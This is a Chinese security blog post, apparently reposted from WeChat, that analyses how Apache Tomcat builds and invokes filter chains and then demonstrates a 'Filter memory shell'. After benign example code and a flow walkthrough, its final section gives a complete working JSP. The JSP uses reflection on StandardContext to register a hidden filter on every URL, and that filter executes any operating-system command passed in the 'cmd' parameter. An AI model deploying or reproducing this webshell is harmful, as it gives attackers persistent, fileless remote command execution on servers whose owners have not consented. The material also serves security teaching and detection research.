【Java内存马】Tomcat之Filter内存马分析

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2023年5月5日12:58:27评论37 views字数 6732阅读22分26秒阅读模式

Tomcat处理请求和响应流程：

【Java内存马】Tomcat之Filter内存马分析

filter说明

filter也称之为过滤器，是对Servlet技术的一个强补充，其主要功能是在HttpServletRequest到达 Servlet 之前，拦截客户的HttpServletRequest，根据需要检查HttpServletRequest，也可以修改HttpServletRequest头和数据；在HttpServletResponse到达客户端之前，拦截HttpServletResponse ，根据需要检查HttpServletResponse，也可以修改HttpServletResponse头和数据。

filter链说明

当多个filter同时存在的时候，组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序，决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时，web服务器会创建一个代表Filter链的FilterChain对象传递给该方法，通过判断FilterChain中是否还有filter决定后面是否还调用filter。

基本工作原理

1）Filter 程序是一个实现了特殊接口的 Java 类，与 Servlet 类似，也是由 Servlet 容器进行调用和执行的。
2）当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时，它可以决定是否将请求继续传递给 Servlet 程序，以及对请求和响应消息是否进行修改。
3）当 Servlet 容器开始调用某个 Servlet 程序时，如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截，那么容器不再直接调用 Servlet 的 service 方法，而是调用 Filter 的 doFilter 方法，再由 doFilter 方法决定是否去激活 service 方法。
4）但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法，而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法，FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5）只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码，这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6）如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法，则目标 Servlet 的 service 方法不会被执行，这样通过 Filter 就可以阻止某些非法的访问请求。

filter的生命周期

与servlet一样，Filter的创建和销毁也由web容器负责。web应用程序启动时，web服务器将创建Filter的实例对象，并调用其init方法，读取web.xml配置，完成对象的初始化功能，从而为后续的用户请求做好拦截的准备工作（filter对象只会创建一次，init方法也只会执行一次）。开发人员通过init方法的参数，可获得代表当前filter配置信息的FilterConfig对象。Filter对象创建后会驻留在内存，当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中，可以释放过滤器使用的资源。

1. Filter测试实例

配置web.xml文件，创建filter过滤器：

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"  version="4.0">
  <!-- 创建过滤器 -->  <filter>    <filter-name>enfilter</filter-name>    <filter-class>com.zack.testFilter</filter-class>  </filter>  <!-- 运用过滤器到任意页面 -->  <filter-mapping>    <filter-name>enfilter</filter-name>    <url-pattern>/*</url-pattern>  </filter-mapping></web-app>

创建测试类testFilter.java文件：

package com.zack;
import javax.servlet.*;import java.io.IOException;
public class testFilter implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {        System.out.println("Init Finish!");    }
    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        servletRequest.setCharacterEncoding("utf-8");        servletResponse.setCharacterEncoding("utf-8");        servletResponse.setContentType("text/html;charset=UTF-8");        filterChain.doFilter(servletRequest,servletResponse);        System.out.println("Filter Start!");    }
    @Override    public void destroy() {        System.out.println("Filter Stop!");    }}

运行项目，访问任意页面后看到控制台输出：

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2. Filter流程分析

filter调用流程图：

通过StandardWrapperValue这个方法最后得到了FilterChain，其中Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml从而获取到filter，然后ApplicationFilterFactory会对filter的名称和待拦截的url放到FilterMap中去，然后进行一次url匹配，然后将获取的FilterChain返回到StandardWrapperValue中去，最后在StandardWrapperValue中会调用chain.doFilter方法，从而实现执行对应的filter调用。

【Java内存马】Tomcat之Filter内存马分析

（1）在StandardWrapperValue类的invoke()方法中，在97行看到调用ApplicationFilterFactory类的createFilterChain()方法

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（2）跟进createFilterChain()方法来到ApplicationFilterFactory类，在该方法的32和33行创建context对象然后调用对象的findFilterMaps()方法将所有filter存入filterMaps中，第一个为web.xml文件里自己定义第二个为tomcat自带，往下走经过一个if判断后将filterConfig传入addFilter()方法

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（3）跟进addFilter()方法来到ApplicationFilterChain类，看到for循环是用来去除重复的filter，处理后在162行将filterConfig加入到filters中

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（4）回到StandardWrapperValve类的invoke()方法，看到带着最终构成的filter被doFilter()方法调用

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（5）跟进doFilter()方法来到ApplicationFilterChain类，看到被internalDoFilter()调用，再跟进internalDoFilter()方法看到调用了filter.doFilter()方法，该方法包含Filter对象类型的doFilter方法，即可以执行自己构造的filter对象的doFilter方法

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（6）继续跟进就会来到自己构造的filter测试类文件中，从而调用自己自定义过滤器中的doFilter()方法，从而触发了相应的代码

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3. Filter内存马实践

在目标网站根目录创建demo.jsp内存马生成文件，生成的内存马无需配置web.xml文件，但缺点是不能回显命令执行结果。

<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Context" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.catalina.core.ApplicationContextFacade" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.HashMap" %><%@ page import="java.io.IOException" %><%    //反射创建servletContext    ServletContext servletContext = request.getServletContext();    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");    applicationContextFacadeContext.setAccessible(true);    //反射创建applicationContext    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");    applicationContextContext.setAccessible(true);    //反射创建standardContext    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
    //创建filterConfigs    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");    filterConfigs.setAccessible(true);    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);    String filterName = "Filter";    if (hashMap.get(filterName)==null){        Filter filter = new Filter() {            @Override            public void init(FilterConfig filterConfig) throws ServletException {            }
            @Override            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {                servletRequest.setCharacterEncoding("utf-8");                servletResponse.setCharacterEncoding("utf-8");                servletResponse.setContentType("text/html;charset=UTF-8");                filterChain.doFilter(servletRequest,servletResponse);                Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));            }
            @Override            public void destroy() {            }        };
        //构造filterDef对象        FilterDef filterDef = new FilterDef();        filterDef.setFilter(filter);        filterDef.setFilterName(filterName);        filterDef.setFilterClass(filter.getClass().getName());        standardContext.addFilterDef(filterDef);
        //构造filterMap对象        FilterMap filterMap = new FilterMap();        filterMap.addURLPattern("/*");        filterMap.setFilterName(filterName);        filterMap.setDispatcher(DispatcherType.REQUEST.name());        standardContext.addFilterMapBefore(filterMap);
        //构造filterConfig        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);        constructor.setAccessible(true);        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        //将filterConfig添加到filterConfigs中，即可完成注入        hashMap.put(filterName,applicationFilterConfig);        response.getWriter().println("Filter shell successfully!");    }%>

访问内存马生成文件页面：

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这时访问任意页面都可以调用Filter内存马执行系统命令：

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原文始发于微信公众号（ZackSecurity）：【Java内存马】Tomcat之Filter内存马分析

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